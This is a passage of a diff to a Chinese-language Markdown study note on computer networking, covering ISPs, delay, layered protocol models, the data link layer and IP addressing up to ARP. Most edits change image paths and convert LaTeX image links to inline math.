+<img src="index_files/network-of-networks.gif" width="450"/>
 
-## ISP
+## ISP
 
-互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址，同时拥有通信线路以及路由器等联网设备，个人或机构向 ISP 缴纳一定的费用就可以接入互联网。
+互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址，同时拥有通信线路以及路由器等联网设备，个人或机构向 ISP 缴纳一定的费用就可以接入互联网。
 
-<div align="center"> <img src="pics/46cec213-3048-4a80-aded-fdd577542801.jpg" width="500"/> </div><br>
+<img src="index_files/46cec213-3048-4a80-aded-fdd577542801.jpg" width="500"/>
 
-目前的互联网是一种多层次 ISP 结构，ISP 根据覆盖面积的大小分为第一层 ISP、区域 ISP 和接入 ISP。互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。
+目前的互联网是一种多层次 ISP 结构，ISP 根据覆盖面积的大小分为第一层 ISP、区域 ISP 和接入 ISP。互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。
 
-<div align="center"> <img src="pics/168e893c-e4a0-4ba4-b81f-9d993483abd0.jpg" width="500"/> </div><br>
+<img src="index_files/168e893c-e4a0-4ba4-b81f-9d993483abd0.jpg" width="500"/>
 
-## 主机之间的通信方式
+## 主机之间的通信方式
 
-- 客户-服务器（C/S）：客户是服务的请求方，服务器是服务的提供方。
+- 客户-服务器（C/S）：客户是服务的请求方，服务器是服务的提供方。
 
-- 对等（P2P）：不区分客户和服务器。
+- 对等（P2P）：不区分客户和服务器。
 
-<div align="center"> <img src="pics/2ad244f5-939c-49fa-9385-69bc688677ab.jpg" width=""/> </div><br>
+<img src="index_files/2ad244f5-939c-49fa-9385-69bc688677ab.jpg" width=""/>
 
-## 电路交换与分组交换
+## 电路交换与分组交换
 
-### 1. 电路交换
+### 1. 电路交换
 
-电路交换用于电话通信系统，两个用户要通信之前需要建立一条专用的物理链路，并且在整个通信过程中始终占用该链路。由于通信的过程中不可能一直在使用传输线路，因此电路交换对线路的利用率很低，往往不到 10%。
+电路交换用于电话通信系统，两个用户要通信之前需要建立一条专用的物理链路，并且在整个通信过程中始终占用该链路。由于通信的过程中不可能一直在使用传输线路，因此电路交换对线路的利用率很低，往往不到 10%。
 
-### 2. 分组交换
+### 2. 分组交换
 
 每个分组都有首部和尾部，包含了源地址和目的地址等控制信息，在同一个传输线路上同时传输多个分组互相不会影响，因此在同一条传输线路上允许同时传输多个分组，也就是说分组交换不需要占用传输线路。
 
 在一个邮局通信系统中，邮局收到一份邮件之后，先存储下来，然后把相同目的地的邮件一起转发到下一个目的地，这个过程就是存储转发过程，分组交换也使用了存储转发过程。
 
-## 时延
+## 时延
 
-总时延 = 排队时延 + 处理时延 + 传输时延 + 传播时延
+总时延 = 排队时延 + 处理时延 + 传输时延 + 传播时延
 
-<div align="center"> <img src="pics/f71125b7-f7cb-4a96-9bf0-902bce9487f0.jpg" width="600"/> </div><br>
+<img src="index_files/f71125b7-f7cb-4a96-9bf0-902bce9487f0.jpg" width="600"/>
 
-### 1. 排队时延
+### 1. 排队时延
 
 分组在路由器的输入队列和输出队列中排队等待的时间，取决于网络当前的通信量。
 
-### 2. 处理时延
+### 2. 处理时延
 
 主机或路由器收到分组时进行处理所需要的时间，例如分析首部、从分组中提取数据、进行差错检验或查找适当的路由等。
 
-### 3. 传输时延
+### 3. 传输时延
 
 主机或路由器传输数据帧所需要的时间。
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(bit)}{v(bit/s)}"/></div> <br>
+$$ delay = \frac{l(bit)}{v(bit/s)} $$
 
-其中 l 表示数据帧的长度，v 表示传输速率。
+其中 l 表示数据帧的长度，v 表示传输速率。
 
-### 4. 传播时延
+### 4. 传播时延
 
 电磁波在信道中传播所需要花费的时间，电磁波传播的速度接近光速。
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(m)}{v(m/s)}"/></div> <br>
+$$ delay = \frac{l(m)}{v(m/s)} $$
 
-其中 l 表示信道长度，v 表示电磁波在信道上的传播速度。
+其中 l 表示信道长度，v 表示电磁波在信道上的传播速度。
 
-## 计算机网络体系结构
+## 计算机网络体系结构
 
-<div align="center"> <img src="pics/7fa66f48-bc42-4b98-93c2-56b20feaa990.png" width="500"/> </div><br>
+<img src="index_files/7fa66f48-bc42-4b98-93c2-56b20feaa990.png" width="500"/>
 
-### 1. 五层协议
+### 1. 五层协议
 
--  **应用层** ：为特定应用程序提供数据传输服务，例如 HTTP、DNS 等。数据单位为报文。
+- **应用层**：为特定应用程序提供数据传输服务，例如 HTTP、DNS 等。数据单位为报文。
 
--  **传输层** ：为进程提供通用数据传输服务。由于应用层协议很多，定义通用的传输层协议就可以支持不断增多的应用层协议。运输层包括两种协议：传输控制协议 TCP，提供面向连接、可靠的数据传输服务，数据单位为报文段；用户数据报协议 UDP，提供无连接、尽最大努力的数据传输服务，数据单位为用户数据报。TCP 主要提供完整性服务，UDP 主要提供及时性服务。
+- **传输层**：为进程提供通用数据传输服务。由于应用层协议很多，定义通用的传输层协议就可以支持不断增多的应用层协议。运输层包括两种协议：传输控制协议 TCP，提供面向连接、可靠的数据传输服务，数据单位为报文段；用户数据报协议 UDP，提供无连接、尽最大努力的数据传输服务，数据单位为用户数据报。TCP 主要提供完整性服务，UDP 主要提供及时性服务。
 
--  **网络层** ：为主机提供数据传输服务。而传输层协议是为主机中的进程提供数据传输服务。网络层把传输层传递下来的报文段或者用户数据报封装成分组。
+- **网络层**：为主机提供数据传输服务。而传输层协议是为主机中的进程提供数据传输服务。网络层把传输层传递下来的报文段或者用户数据报封装成分组。
 
--  **数据链路层** ：网络层针对的还是主机之间的数据传输服务，而主机之间可以有很多链路，链路层协议就是为同一链路的主机提供数据传输服务。数据链路层把网络层传下来的分组封装成帧。
+- **数据链路层**：网络层针对的还是主机之间的数据传输服务，而主机之间可以有很多链路，链路层协议就是为同一链路的主机提供数据传输服务。数据链路层把网络层传下来的分组封装成帧。
 
--  **物理层** ：考虑的是怎样在传输媒体上传输数据比特流，而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异，使数据链路层感觉不到这些差异。
+- **物理层**：考虑的是怎样在传输媒体上传输数据比特流，而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异，使数据链路层感觉不到这些差异。
 
-### 2. OSI
+### 2. OSI
 
 其中表示层和会话层用途如下：
 
--  **表示层** ：数据压缩、加密以及数据描述，这使得应用程序不必关心在各台主机中数据内部格式不同的问题。
+- **表示层**：数据压缩、加密以及数据描述，这使得应用程序不必关心在各台主机中数据内部格式不同的问题。
 
--  **会话层** ：建立及管理会话。
+- **会话层**：建立及管理会话。
 
 五层协议没有表示层和会话层，而是将这些功能留给应用程序开发者处理。
 
-### 3. TCP/IP
+### 3. TCP/IP
 
 它只有四层，相当于五层协议中数据链路层和物理层合并为网络接口层。
 
-TCP/IP 体系结构不严格遵循 OSI 分层概念，应用层可能会直接使用 IP 层或者网络接口层。
+TCP/IP 体系结构不严格遵循 OSI 分层概念，应用层可能会直接使用 IP 层或者网络接口层。
 
-<div align="center"> <img src="pics/7048a730-a2d0-43d1-99ce-f774e4ef1b27.png" width="250"/> </div><br>
+<img src="index_files/7048a730-a2d0-43d1-99ce-f774e4ef1b27.png" width="250"/>
 
-### 4. 数据在各层之间的传递过程
+### 4. 数据在各层之间的传递过程
 
 在向下的过程中，需要添加下层协议所需要的首部或者尾部，而在向上的过程中不断拆开首部和尾部。
 
 路由器只有下面三层协议，因为路由器位于网络核心中，不需要为进程或者应用程序提供服务，因此也就不需要传输层和应用层。
 
-# 二、物理层
+# 二、物理层
 
-## 通信方式
+## 通信方式
 
 根据信息在传输线上的传送方向，分为以下三种通信方式：
 
-- 单工通信：单向传输
-- 半双工通信：双向交替传输
-- 全双工通信：双向同时传输
+- 单工通信：单向传输
+- 半双工通信：双向交替传输
+- 全双工通信：双向同时传输
 
-## 带通调制
+## 带通调制
 
 模拟信号是连续的信号，数字信号是离散的信号。带通调制把数字信号转换为模拟信号。
 
-<div align="center"> <img src="pics/c34f4503-f62c-4043-9dc6-3e03288657df.jpg" width="500"/> </div><br>
+<img src="index_files/c34f4503-f62c-4043-9dc6-3e03288657df.jpg" width="500"/>
 
-# 三、数据链路层
+# 三、数据链路层
 
-## 基本问题
+## 基本问题
 
-### 1. 封装成帧
+### 1. 封装成帧
 
 将网络层传下来的分组添加首部和尾部，用于标记帧的开始和结束。
 
-<div align="center"> <img src="pics/9c60793f-5e7f-453b-8413-35890c24abc4.png" width="500"/> </div><br>
+<img src="index_files/9c60793f-5e7f-453b-8413-35890c24abc4.png" width="500"/>
 
-### 2. 透明传输
+### 2. 透明传输
 
 透明表示一个实际存在的事物看起来好像不存在一样。
 
 帧使用首部和尾部进行定界，如果帧的数据部分含有和首部尾部相同的内容，那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符。如果数据部分出现转义字符，那么就在转义字符前面再加个转义字符。在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符，用户察觉不到转义字符的存在。
 
-<div align="center"> <img src="pics/839207f5-52fd-4516-9370-956dcdf2c2b5.png" width="600"/> </div><br>
+<img src="index_files/839207f5-52fd-4516-9370-956dcdf2c2b5.png" width="600"/>
 
-### 3. 差错检测
+### 3. 差错检测
 
 目前数据链路层广泛使用了循环冗余检验（CRC）来检查比特差错。
 
-## 信道分类
+## 信道分类
 
-### 1. 广播信道
+### 1. 广播信道
 
 一对多通信，一个节点发送的数据能够被广播信道上所有的节点接收到。
 
 所有的节点都在同一个广播信道上发送数据，因此需要有专门的控制方法进行协调，避免发生冲突（冲突也叫碰撞）。
 
-主要有两种控制方法进行协调，一个是使用信道复用技术，一是使用 CSMA/CD 协议。
+主要有两种控制方法进行协调，一个是使用信道复用技术，一是使用 CSMA/CD 协议。
 
-### 2. 点对点信道
+### 2. 点对点信道
 
 一对一通信。
 
-因为不会发生碰撞，因此也比较简单，使用 PPP 协议进行控制。
+因为不会发生碰撞，因此也比较简单，使用 PPP 协议进行控制。
 
-## 信道复用技术
+## 信道复用技术
 
-### 1. 频分复用
+### 1. 频分复用
 
 频分复用的所有主机在相同的时间占用不同的频率带宽资源。
 
-<div align="center"> <img src="pics/7e6cb8fc-1b82-4135-8b03-ebcfc546d94c.png" width="450"/> </div><br>
+<img src="index_files/7e6cb8fc-1b82-4135-8b03-ebcfc546d94c.png" width="450"/>
 
-### 2. 时分复用
+### 2. 时分复用
 
 时分复用的所有主机在不同的时间占用相同的频率带宽资源。
 
-<div align="center"> <img src="pics/49e53613-46f8-4308-9ee5-c09d62367577.png" width="450"/> </div><br>
+<img src="index_files/49e53613-46f8-4308-9ee5-c09d62367577.png" width="450"/>
 
 使用频分复用和时分复用进行通信，在通信的过程中主机会一直占用一部分信道资源。但是由于计算机数据的突发性质，通信过程没必要一直占用信道资源而不让出给其它用户使用，因此这两种方式对信道的利用率都不高。
 
-### 3. 统计时分复用
+### 3. 统计时分复用
 
 是对时分复用的一种改进，不固定每个用户在时分复用帧中的位置，只要有数据就集中起来组成统计时分复用帧然后发送。
 
-<div align="center"> <img src="pics/e3360fa0-680e-486b-945f-09ff5d8612e4.png" width="450"/> </div><br>
+<img src="index_files/e3360fa0-680e-486b-945f-09ff5d8612e4.png" width="450"/>
 
-### 4. 波分复用
+### 4. 波分复用
 
 光的频分复用。由于光的频率很高，因此习惯上用波长而不是频率来表示所使用的光载波。
 
-### 5. 码分复用
+### 5. 码分复用
 
-为每个用户分配 m bit 的码片，并且所有的码片正交，对于任意两个码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 和 <img src="https://latex.codecogs.com/gif.latex?\vec{T}"/> 有
+为每个用户分配 m bit 的码片，并且所有的码片正交，对于任意两个码片 $\vec{S}$ 和 $\vec{T}$ 有
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{T}=0"/></div> <br>
+$$ \frac{1}{m} \vec{S} \cdot \vec{T} = 0 $$
 
-为了讨论方便，取 m=8，设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片，发送比特 0 时就发送该码片的反码 11100100。
+为了讨论方便，取 m=8，设码片 $\vec{S}$ 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片，发送比特 0 时就发送该码片的反码 11100100。
 
-在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1)，可以得到
+在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1)，可以得到
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{S}=1"/></div> <br>
+$$ \frac{1}{m} \vec{S} \cdot \vec{S} = 1 $$
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{S'}=-1"/></div> <br>
+$$ \frac{1}{m} \vec{S} \cdot \vec{S'} = -1 $$
 
-其中 <img src="https://latex.codecogs.com/gif.latex?\vec{S'}"/> 为 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 的反码。
+其中 $\vec{S'}$ 为 $\vec{S}$ 的反码。
 
-利用上面的式子我们知道，当接收端使用码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 对接收到的数据进行内积运算时，结果为 0 的是其它用户发送的数据，结果为 1 的是用户发送的比特 1，结果为 -1 的是用户发送的比特 0。
+利用上面的式子我们知道，当接收端使用码片 $\vec{S}$ 对接收到的数据进行内积运算时，结果为 0 的是其它用户发送的数据，结果为 1 的是用户发送的比特 1，结果为 -1 的是用户发送的比特 0。
 
-码分复用需要发送的数据量为原先的 m 倍。
+码分复用需要发送的数据量为原先的 m 倍。
 
-<div align="center"> <img src="pics/c7875be7-fce5-43c7-ac77-d8dbe6c0ae1b.png" width="600"/> </div><br>
+<img src="index_files/c7875be7-fce5-43c7-ac77-d8dbe6c0ae1b.png" width="600"/>
 
-## CSMA/CD 协议
+## CSMA/CD 协议
 
-CSMA/CD 表示载波监听多点接入 / 碰撞检测。
+CSMA/CD 表示载波监听多点接入 / 碰撞检测。
 
--  **多点接入** ：说明这是总线型网络，许多主机以多点的方式连接到总线上。
--  **载波监听** ：每个主机都必须不停地监听信道。在发送前，如果监听到信道正在使用，就必须等待。
--  **碰撞检测** ：在发送中，如果监听到信道已有其它主机正在发送数据，就表示发生了碰撞。虽然每个主机在发送数据之前都已经监听到信道为空闲，但是由于电磁波的传播时延的存在，还是有可能会发生碰撞。
+- **多点接入**：说明这是总线型网络，许多主机以多点的方式连接到总线上。
+- **载波监听**：每个主机都必须不停地监听信道。在发送前，如果监听到信道正在使用，就必须等待。
+- **碰撞检测**：在发送中，如果监听到信道已有其它主机正在发送数据，就表示发生了碰撞。虽然每个主机在发送数据之前都已经监听到信道为空闲，但是由于电磁波的传播时延的存在，还是有可能会发生碰撞。
 
-记端到端的传播时延为 τ，最先发送的站点最多经过 2τ 就可以知道是否发生了碰撞，称 2τ 为  **争用期** 。只有经过争用期之后还没有检测到碰撞，才能肯定这次发送不会发生碰撞。
+记端到端的传播时延为 τ，最先发送的站点最多经过 2τ 就可以知道是否发生了碰撞，称 2τ 为 **争用期**。只有经过争用期之后还没有检测到碰撞，才能肯定这次发送不会发生碰撞。
 
-当发生碰撞时，站点要停止发送，等待一段时间再发送。这个时间采用  **截断二进制指数退避算法**  来确定。从离散的整数集合 {0, 1, .., (2<sup>k</sup>-1)} 中随机取出一个数，记作 r，然后取 r 倍的争用期作为重传等待时间。
+当发生碰撞时，站点要停止发送，等待一段时间再发送。这个时间采用 **截断二进制指数退避算法** 来确定。从离散的整数集合 {0, 1, .., (2<sup>k</sup>-1)} 中随机取出一个数，记作 r，然后取 r 倍的争用期作为重传等待时间。
 
-<div align="center"> <img src="pics/9bd12b89-f99c-49f4-ae45-410f76a713d6.png" width="500"/> </div><br>
+<img src="index_files/9bd12b89-f99c-49f4-ae45-410f76a713d6.png" width="500"/>
 
-## PPP 协议
+## PPP 协议
 
-互联网用户通常需要连接到某个 ISP 之后才能接入到互联网，PPP 协议是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
+互联网用户通常需要连接到某个 ISP 之后才能接入到互联网，PPP 协议是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
 
-<div align="center"> <img src="pics/2f237854-bb35-4c57-a7fe-ab2ab144f56e.jpg" width="300"/> </div><br>
+<img src="index_files/2f237854-bb35-4c57-a7fe-ab2ab144f56e.jpg" width="300"/>
 
-PPP 的帧格式：
+PPP 的帧格式：
 
-- F 字段为帧的定界符
-- A 和 C 字段暂时没有意义
-- FCS 字段是使用 CRC 的检验序列
-- 信息部分的长度不超过 1500
+- F 字段为帧的定界符
+- A 和 C 字段暂时没有意义
+- FCS 字段是使用 CRC 的检验序列
+- 信息部分的长度不超过 1500
 
-<div align="center"> <img src="pics/63010737-2cb4-48f3-999f-09194481b227.png" width="500"/> </div><br>
+<img src="index_files/63010737-2cb4-48f3-999f-09194481b227.png" width="500"/>
 
-## MAC 地址
+## MAC 地址
 
-MAC 地址是链路层地址，长度为 6 字节（48 位），用于唯一标识网络适配器（网卡）。
+MAC 地址是链路层地址，长度为 6 字节（48 位），用于唯一标识网络适配器（网卡）。
 
-一台主机拥有多少个网络适配器就有多少个 MAC 地址。例如笔记本电脑普遍存在无线网络适配器和有线网络适配器，因此就有两个 MAC 地址。
+一台主机拥有多少个网络适配器就有多少个 MAC 地址。例如笔记本电脑普遍存在无线网络适配器和有线网络适配器，因此就有两个 MAC 地址。
 
-## 局域网
+## 局域网
 
 局域网是一种典型的广播信道，主要特点是网络为一个单位所拥有，且地理范围和站点数目均有限。
 
-主要有以太网、令牌环网、FDDI 和 ATM 等局域网技术，目前以太网占领着有线局域网市场。
+主要有以太网、令牌环网、FDDI 和 ATM 等局域网技术，目前以太网占领着有线局域网市场。
 
 可以按照网络拓扑结构对局域网进行分类：
 
-<div align="center"> <img src="pics/df01dbcd-4a3c-4877-86e8-5590d7589788.jpg" width="800"/> </div><br>
+<img src="index_files/df01dbcd-4a3c-4877-86e8-5590d7589788.jpg" width="800"/>
 
-## 以太网
+## 以太网
 
 以太网是一种星型拓扑结构局域网。
 
-早期使用集线器进行连接，集线器是一种物理层设备， 作用于比特而不是帧，当一个比特到达接口时，集线器重新生成这个比特，并将其能量强度放大，从而扩大网络的传输距离，之后再将这个比特发送到其它所有接口。如果集线器同时收到两个不同接口的帧，那么就发生了碰撞。
+早期使用集线器进行连接，集线器是一种物理层设备， 作用于比特而不是帧，当一个比特到达接口时，集线器重新生成这个比特，并将其能量强度放大，从而扩大网络的传输距离，之后再将这个比特发送到其它所有接口。如果集线器同时收到两个不同接口的帧，那么就发生了碰撞。
 
-目前以太网使用交换机替代了集线器，交换机是一种链路层设备，它不会发生碰撞，能根据 MAC 地址进行存储转发。
+目前以太网使用交换机替代了集线器，交换机是一种链路层设备，它不会发生碰撞，能根据 MAC 地址进行存储转发。
 
 以太网帧格式：
 
--  **类型** ：标记上层使用的协议；
--  **数据** ：长度在 46-1500 之间，如果太小则需要填充；
--  **FCS** ：帧检验序列，使用的是 CRC 检验方法；
+- **类型**：标记上层使用的协议；
+- **数据**：长度在 46-1500 之间，如果太小则需要填充；
+- **FCS**：帧检验序列，使用的是 CRC 检验方法；
 
-<div align="center"> <img src="pics/420f4dc0-6c4b-486c-afea-274299014462.png" width="550"/> </div><br>
+<img src="index_files/420f4dc0-6c4b-486c-afea-274299014462.png" width="550"/>
 
-## 交换机
+## 交换机
 
-交换机具有自学习能力，学习的是交换表的内容，交换表中存储着 MAC 地址到接口的映射。
+交换机具有自学习能力，学习的是交换表的内容，交换表中存储着 MAC 地址到接口的映射。
 
 正是由于这种自学习能力，因此交换机是一种即插即用设备，不需要网络管理员手动配置交换表内容。
 
-下图中，交换机有 4 个接口，主机 A 向主机 B 发送数据帧时，交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B，先查交换表，此时没有主机 B 的表项，那么主机 A 就发送广播帧，主机 C 和主机 D 会丢弃该帧。主机 B 向主机 A 发送数据包时，交换机查找交换表得到主机 A 映射的接口为 1，就发送数据帧到接口 1，同时交换机添加主机 B 到接口 3 的映射。
+下图中，交换机有 4 个接口，主机 A 向主机 B 发送数据帧时，交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B，先查交换表，此时没有主机 B 的表项，那么主机 A 就发送广播帧，主机 C 和主机 D 会丢弃该帧。主机 B 向主机 A 发送数据包时，交换机查找交换表得到主机 A 映射的接口为 1，就发送数据帧到接口 1，同时交换机添加主机 B 到接口 3 的映射。
 
-<div align="center"> <img src="pics/80646c77-1f32-484c-810e-af80ce00f902.png" width="800"/> </div><br>
+<img src="index_files/80646c77-1f32-484c-810e-af80ce00f902.png" width="800"/>
 
-## 虚拟局域网
+## 虚拟局域网
 
 虚拟局域网可以建立与物理位置无关的逻辑组，只有在同一个虚拟局域网中的成员才会收到链路层广播信息。
 
-例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网，A1 发送的广播会被 A2、A3、A4 收到，而其它站点收不到。
+例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网，A1 发送的广播会被 A2、A3、A4 收到，而其它站点收不到。
 
-使用 VLAN 干线连接来建立虚拟局域网，每台交换机上的一个特殊接口被设置为干线接口，以互连 VLAN 交换机。IEEE 定义了一种扩展的以太网帧格式 802.1Q，它在标准以太网帧上加进了 4 字节首部 VLAN 标签，用于表示该帧属于哪一个虚拟局域网。
+使用 VLAN 干线连接来建立虚拟局域网，每台交换机上的一个特殊接口被设置为干线接口，以互连 VLAN 交换机。IEEE 定义了一种扩展的以太网帧格式 802.1Q，它在标准以太网帧上加进了 4 字节首部 VLAN 标签，用于表示该帧属于哪一个虚拟局域网。
 
-<div align="center"> <img src="pics/99208bd0-1454-4618-9969-0c2deb8bba0f.png" width="500"/> </div><br>
+<img src="index_files/99208bd0-1454-4618-9969-0c2deb8bba0f.png" width="500"/>
 
-# 四、网络层
+# 四、网络层
 
-## 概述
+## 概述
 
 因为网络层是整个互联网的核心，因此应当让网络层尽可能简单。网络层向上只提供简单灵活的、无连接的、尽最大努力交互的数据报服务。
 
-使用 IP 协议，可以把异构的物理网络连接起来，使得在网络层看起来好像是一个统一的网络。
+使用 IP 协议，可以把异构的物理网络连接起来，使得在网络层看起来好像是一个统一的网络。
 
-<div align="center"> <img src="pics/e3b53605-0c10-4a7e-be02-a9064778f8a5.png" width="800"/> </div><br>
+<img src="index_files/e3b53605-0c10-4a7e-be02-a9064778f8a5.png" width="800"/>
 
-与 IP 协议配套使用的还有三个协议：
+与 IP 协议配套使用的还有三个协议：
 
-- 地址解析协议 ARP（Address Resolution Protocol）
-- 网际控制报文协议 ICMP（Internet Control Message Protocol）
-- 网际组管理协议 IGMP（Internet Group Management Protocol）
+- 地址解析协议 ARP（Address Resolution Protocol）
+- 网际控制报文协议 ICMP（Internet Control Message Protocol）
+- 网际组管理协议 IGMP（Internet Group Management Protocol）
 
-## IP 数据报格式
+## IP 数据报格式
 
-<div align="center"> <img src="pics/85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg" width="700"/> </div><br>
+<img src="index_files/85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg" width="700"/>
 
--  **版本**  : 有 4（IPv4）和 6（IPv6）两个值；
+- **版本** : 有 4（IPv4）和 6（IPv6）两个值；
 
--  **首部长度**  : 占 4 位，因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度，也就是 4 字节。因为首部固定长度为 20 字节，因此该值最小为 5。如果可选字段的长度不是 4 字节的整数倍，就用尾部的填充部分来填充。
+- **首部长度** : 占 4 位，因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度，也就是 4 字节。因为首部固定长度为 20 字节，因此该值最小为 5。如果可选字段的长度不是 4 字节的整数倍，就用尾部的填充部分来填充。
 
--  **区分服务**  : 用来获得更好的服务，一般情况下不使用。
+- **区分服务** : 用来获得更好的服务，一般情况下不使用。
 
--  **总长度**  : 包括首部长度和数据部分长度。
+- **总长度** : 包括首部长度和数据部分长度。
 
--  **生存时间**  ：TTL，它的存在是为了防止无法交付的数据报在互联网中不断兜圈子。以路由器跳数为单位，当 TTL 为 0 时就丢弃数据报。
+- **生存时间** ：TTL，它的存在是为了防止无法交付的数据报在互联网中不断兜圈子。以路由器跳数为单位，当 TTL 为 0 时就丢弃数据报。
 
--  **协议** ：指出携带的数据应该上交给哪个协议进行处理，例如 ICMP、TCP、UDP 等。
+- **协议**：指出携带的数据应该上交给哪个协议进行处理，例如 ICMP、TCP、UDP 等。
 
--  **首部检验和** ：因为数据报每经过一个路由器，都要重新计算检验和，因此检验和不包含数据部分可以减少计算的工作量。
+- **首部检验和**：因为数据报每经过一个路由器，都要重新计算检验和，因此检验和不包含数据部分可以减少计算的工作量。
 
--  **标识**  : 在数据报长度过长从而发生分片的情况下，相同数据报的不同分片具有相同的标识符。
+- **标识** : 在数据报长度过长从而发生分片的情况下，相同数据报的不同分片具有相同的标识符。
 
--  **片偏移**  : 和标识符一起，用于发生分片的情况。片偏移的单位为 8 字节。
+- **片偏移** : 和标识符一起，用于发生分片的情况。片偏移的单位为 8 字节。
 
-<div align="center"> <img src="pics/23ba890e-e11c-45e2-a20c-64d217f83430.png" width="700"/> </div><br>
+<img src="index_files/23ba890e-e11c-45e2-a20c-64d217f83430.png" width="700"/>
 
-## IP 地址编址方式
+## IP 地址编址方式
 
-IP 地址的编址方式经历了三个历史阶段：
+IP 地址的编址方式经历了三个历史阶段：
 
-- 分类
-- 子网划分
-- 无分类
+- 分类
+- 子网划分
+- 无分类
 
-### 1. 分类
+### 1. 分类
 
 由两部分组成，网络号和主机号，其中不同分类具有不同的网络号长度，并且是固定的。
 
-IP 地址 ::= {< 网络号 >, < 主机号 >}
+IP 地址 ::= {< 网络号 >, < 主机号 >}
 
-<div align="center"> <img src="pics/cbf50eb8-22b4-4528-a2e7-d187143d57f7.png" width="500"/> </div><br>
+<img src="index_files/cbf50eb8-22b4-4528-a2e7-d187143d57f7.png" width="500"/>
 
-### 2. 子网划分
+### 2. 子网划分
 
-通过在主机号字段中拿一部分作为子网号，把两级 IP 地址划分为三级 IP 地址。
+通过在主机号字段中拿一部分作为子网号，把两级 IP 地址划分为三级 IP 地址。
 
-IP 地址 ::= {< 网络号 >, < 子网号 >, < 主机号 >}
+IP 地址 ::= {< 网络号 >, < 子网号 >, < 主机号 >}
 
-要使用子网，必须配置子网掩码。一个 B 类地址的默认子网掩码为 255.255.0.0，如果 B 类地址的子网占两个比特，那么子网掩码为 11111111 11111111 11000000 00000000，也就是 255.255.192.0。
+要使用子网，必须配置子网掩码。一个 B 类地址的默认子网掩码为 255.255.0.0，如果 B 类地址的子网占两个比特，那么子网掩码为 11111111 11111111 11000000 00000000，也就是 255.255.192.0。
 
 注意，外部网络看不到子网的存在。
 
-### 3. 无分类
+### 3. 无分类
 
-无分类编址 CIDR 消除了传统 A 类、B 类和 C 类地址以及划分子网的概念，使用网络前缀和主机号来对 IP 地址进行编码，网络前缀的长度可以根据需要变化。
+无分类编址 CIDR 消除了传统 A 类、B 类和 C 类地址以及划分子网的概念，使用网络前缀和主机号来对 IP 地址进行编码，网络前缀的长度可以根据需要变化。
 
-IP 地址 ::= {< 网络前缀号 >, < 主机号 >}
+IP 地址 ::= {< 网络前缀号 >, < 主机号 >}
 
-CIDR 的记法上采用在 IP 地址后面加上网络前缀长度的方法，例如 128.14.35.7/20 表示前 20 位为网络前缀。
+CIDR 的记法上采用在 IP 地址后面加上网络前缀长度的方法，例如 128.14.35.7/20 表示前 20 位为网络前缀。
 
-CIDR 的地址掩码可以继续称为子网掩码，子网掩码首 1 长度为网络前缀的长度。
+CIDR 的地址掩码可以继续称为子网掩码，子网掩码首 1 长度为网络前缀的长度。
 
-一个 CIDR 地址块中有很多地址，一个 CIDR 表示的网络就可以表示原来的很多个网络，并且在路由表中只需要一个路由就可以代替原来的多个路由，减少了路由表项的数量。把这种通过使用网络前缀来减少路由表项的方式称为路由聚合，也称为  **构成超网** 。
+一个 CIDR 地址块中有很多地址，一个 CIDR 表示的网络就可以表示原来的很多个网络，并且在路由表中只需要一个路由就可以代替原来的多个路由，减少了路由表项的数量。把这种通过使用网络前缀来减少路由表项的方式称为路由聚合，也称为 **构成超网**。
 
 在路由表中的项目由“网络前缀”和“下一跳地址”组成，在查找时可能会得到不止一个匹配结果，应当采用最长前缀匹配来确定应该匹配哪一个。
 
-## 地址解析协议 ARP
+## 地址解析协议 ARP
 
-网络层实现主机之间的通信，而链路层实现具体每段链路之间的通信。因此在通信过程中，IP 数据报的源地址和目的地址始终不变，而 MAC 地址随着链路的改变而改变。
+网络层实现主机之间的通信，而链路层实现具体每段链路之间的通信。因此在通信过程中，IP 数据报的源地址和目的地址始终不变，而 MAC 地址随着链路的改变而改变。
 
-<div align="center"> <img src="pics/66192382-558b-4b05-a35d-ac4a2b1a9811.jpg" width="700"/> </div><br>
+<img src="index_files/66192382-558b-4b05-a35d-ac4a2b1a9811.jpg" width="700"/>
 
-ARP 实现由 IP 地址得到 MAC 地址。
+ARP 实现由 IP 地址得到 MAC 地址。
 
-<div align="center"> <img src="pics/b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/> </div><br>
+<img src="index_files/b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/>
 
-每个主机都有一个 ARP 高速缓存，里面有本局域网上的各主机和路由器的 IP 地址到 MAC 地址的映射表。
+每个主机都有一个 ARP 高速缓存，里面有本局域网上的各主机和路由器的 IP 地址到 MAC 地址的映射表。
 
